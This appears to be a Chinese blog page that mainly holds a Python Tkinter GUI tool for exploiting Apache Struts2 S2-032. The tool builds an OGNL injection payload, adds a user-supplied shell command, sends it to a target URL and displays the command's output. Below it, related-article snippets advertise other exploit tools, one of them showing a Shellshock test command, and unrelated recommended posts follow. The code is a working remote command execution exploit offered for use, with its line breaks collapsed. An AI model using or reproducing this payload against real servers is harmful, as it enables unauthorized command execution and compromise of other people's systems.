# -*- coding: utf-8 -*-

import requests
from Tkinter import * class App:
def __init__(self, master):
frame = Frame(master)
# 主窗口里面再创建一个frame
self.fm_1 = Frame(frame)
self.fm_1.pack() # 设置一个label
#l1 = Label(self.fm_1, text="url:").grid(row=0) # 设置一个url输入框
s1 = StringVar()
self.e1 = Entry(self.fm_1, borderwidth=3, textvariable=s1)
self.e1.grid(row=0, column=0,columnspan=1,sticky=N + S)
s1.set("Input url here ") # 添加一个命令输入框
s2 = StringVar()
self.e2 = Entry(self.fm_1, borderwidth=3, textvariable=s2)
self.e2.grid(row=0, column=1,columnspan=1,sticky=N + S)
s2.set("Input cmd here ") # 添加一个文本框,作为函数运行的输出
# 添加一个self可以在其他定义的函数进行调用
self.text = Text(self.fm_1)
self.text.grid(row=3, column=0, columnspan=4, sticky=N + S) # 添加一个按钮
b1 = Button(self.fm_1,
text="命令执行",
command=self.cmd).grid(row=0,
column=2)
# 添加一个清空按钮
b2 = Button(self.fm_1,
text="清空",
command=self.clearText).grid(row=0,
column=3)
'''
# 添加一个输出框,将函数运行结果输出到界面
v1 = StringVar()
e2 = Entry(fm_1 ,textvariable = v1,borderwidth = 3, ) v1.set("normal")
e2.grid(row=2, column =0,columnspan = 3,rowspan = 5)
''' frame.pack()
def clearText(self):
self.text.delete(0.0,END)
def cmd(self):
url = self.e1.get()
cmd = self.e2.get()
# 对url进行处理,拼接payload
url_patterns = url.split("action")
url=url_patterns[0]+"action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding[0]),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd[0]).getInputStream()).useDelimiter(%23parameters.pp[0]),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp[0],%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&cmd="+cmd+"&pp=\\\\A&ppp=%20&encoding=UTF-8"
response = requests.get(url)
result = response.text
self.text.insert(INSERT, "[*] Apache Structs2 S2-032\n")
self.text.insert(INSERT, "[*] cmd: "+cmd+"\n")
self.text.insert(INSERT, '\n'+result+'\n') if __name__ == '__main__':
root = Tk() # 设置窗体名称
root.title("struts2-032利用工具") # 设置窗体大小
# root.geometry('300x300') app = App(root)
root.mainloop()
root.destroy()

struts-032利用工具 PythonGUI的更多相关文章

  1. Struts2漏洞利用工具下载(更新2017-V1.8版增加S2-045/S2-046)

    Struts2漏洞利用工具下载(已更新V1.8版) 2017-03-21:增加S2-046,官方发布S2-046和S2-045漏洞引发原因一样,只是利用漏洞的位置发生了变化,S2-046方式可能绕过部 ...

  2. [原创]K8 Struts2 Exp 20170310 S2-045(Struts2综合漏洞利用工具)

    工具: K8 Struts2 Exploit组织: K8搞基大队[K8team]作者: K8拉登哥哥博客: http://qqhack8.blog.163.com发布: 2014/7/31 10:24 ...

  3. CVE-2014-6271 Bash漏洞利用工具

    CVE-2014-6271 Bash漏洞利用工具 Exploit 1 (CVE-2014-6271) env x='() { :;}; echo vulnerable' bash -c "e ...

  4. 【教程】手把手教你如何利用工具(IE9的F12)去分析模拟登陆网站(百度首页)的内部逻辑过程

    [前提] 想要实现使用某种语言,比如Python,C#等,去实现模拟登陆网站的话,首先要做的事情就是使用某种工具,去分析本身使用浏览器去登陆网页的时候,其内部的执行过程,内部逻辑. 此登陆的逻辑过程, ...

  5. jenkins远程命令执行利用工具

    昨天看小飞侠写的py的jenkins的脚本,昨天晚上在微信里评论今天写一个JAVA的GUI的tools. 早上花了点时间写一下: code: package com.tools; import jav ...

  6. 7. Vulnerability exploitation tools (漏洞利用工具 11个)

    Metasploit于2004年发布时,将风暴带入了安全世界.它是开发,测试和使用漏洞利用代码的高级开源平台. 可以将有效载荷,编码器,无操作生成器和漏洞利用的可扩展模型集成在一起,使得Metaspl ...

  7. 利用工具将数据库中的表导出到word中

    1.动软代码生成器 效果图: 数据库设计说明书中的一项,刚好我负责写这个文档, 18张表,前两张表是自己画表格自己填充内容,写到第三张表的时候就已经崩溃了(我觉得我耐力还是够的,怎么说也画完了两张表呢 ...

  8. weblogic CVE-2018-2628漏洞利用工具

    weblogic CVE-2018-2628漏洞利用 漏洞环境: Windows2018R2 weblogic10.3.6 漏洞利用过程: 搭建好存在CVE-2018-2628漏洞的weblogic平 ...

  9. 开源Webshell利用工具——Altman

    开源Webshell利用工具--Altman keepwn @ 工具 2014-06-04 共 6114 人围观,发现 43 个不明物体收藏该文 Altman,the webshell tool,自己 ...

随机推荐

  1. k8s 通过helm发布应用

    什么是helm? Helm 是 Kubernetes 的包管理器.Helm 是查找.分享和使用软件构建 Kubernetes 的最优方式. 在红帽系的Linux中我们使用yum来管理RPM包,类似的, ...

  2. 操作系统发展史 & 进程

    今日内容 UDP协议 操作系统发展史 进程 单核情况下的进程调度 进程三状态图 同步异步 阻塞非阻塞 内容详细 一.UDP协议 1.什么是UDP协议 UDP是传输层的协议,功能即为在IP的数据报服务之 ...

  3. linux 普通分区与lvm分区

    安装linux系统时 有时候会提示lvm分区与标准分区 首先普及一下lvm分区:lvm是 logical volume manager (逻辑卷管理),linux环境下对磁盘分区的管理:他解决了安装系 ...

  4. .NET CORE 鉴权

    基础信息 1.什么是鉴权授权? 鉴权是验证用户是否拥有访问系统的权利,授权是判断用户是否有权限做一些其他操作. 2.传统的Session 和Cookie 主要用于无状态请求下的的用户身份识别,只不过S ...

  5. 分析CVE-2018-18557与复现

    前言 cve描述: LibTIFF 4.0.9 (with JBIG enabled) decodes arbitrarily-sized JBIG into a buffer, ignoring t ...

  6. Zabbix 6.0:原生高可用(HA)方案部署

    Blog:博客园 个人 本部署文档适用于CentOS 8.X/RHEL 8.X/Anolis OS 8.X/AlmaLinux 8.X/Rockey Linux 8.X. 原生的HA方案终于来了 相比 ...

  7. 报表软件测评来啦!Smartbi电子表格使用感受

    最近因为工作需求,需要用到一些报表工具软件,看到Smartbi比较方便,可以直接在excel中进行配置,所以安装体验了一下. 下载 Smartbi有多个版本,我主要是在excel中使用,所以下载了一个 ...

  8. [gRPC via C#] gRPC本质的探究与实践

    鉴于内容过多,先上太长不看版: grpc 就是请求流&响应流特殊一点的 Http 请求,性能和 WebAPI 比起来只快在 Protobuf 上: 附上完整试验代码:GrpcWithOutSD ...

  9. Oracle的发展历程

    我们学习的是ORACLE(甲骨文)公司(就是收购Sun公司的甲骨文公司)的Oracle数据库(Oracle Database).Oracle数据库是关系型数据库中的大型数据库,存储量大,而且也非常安全 ...

  10. centos网络配置、虚拟机克隆

    查看网卡命令: ifconfig 查看网络配置 ifconfig -a 查看隐藏网卡 window下使用ipconfig 网络配置 设置静态IP,修改/etc/sysconfig/network-sc ...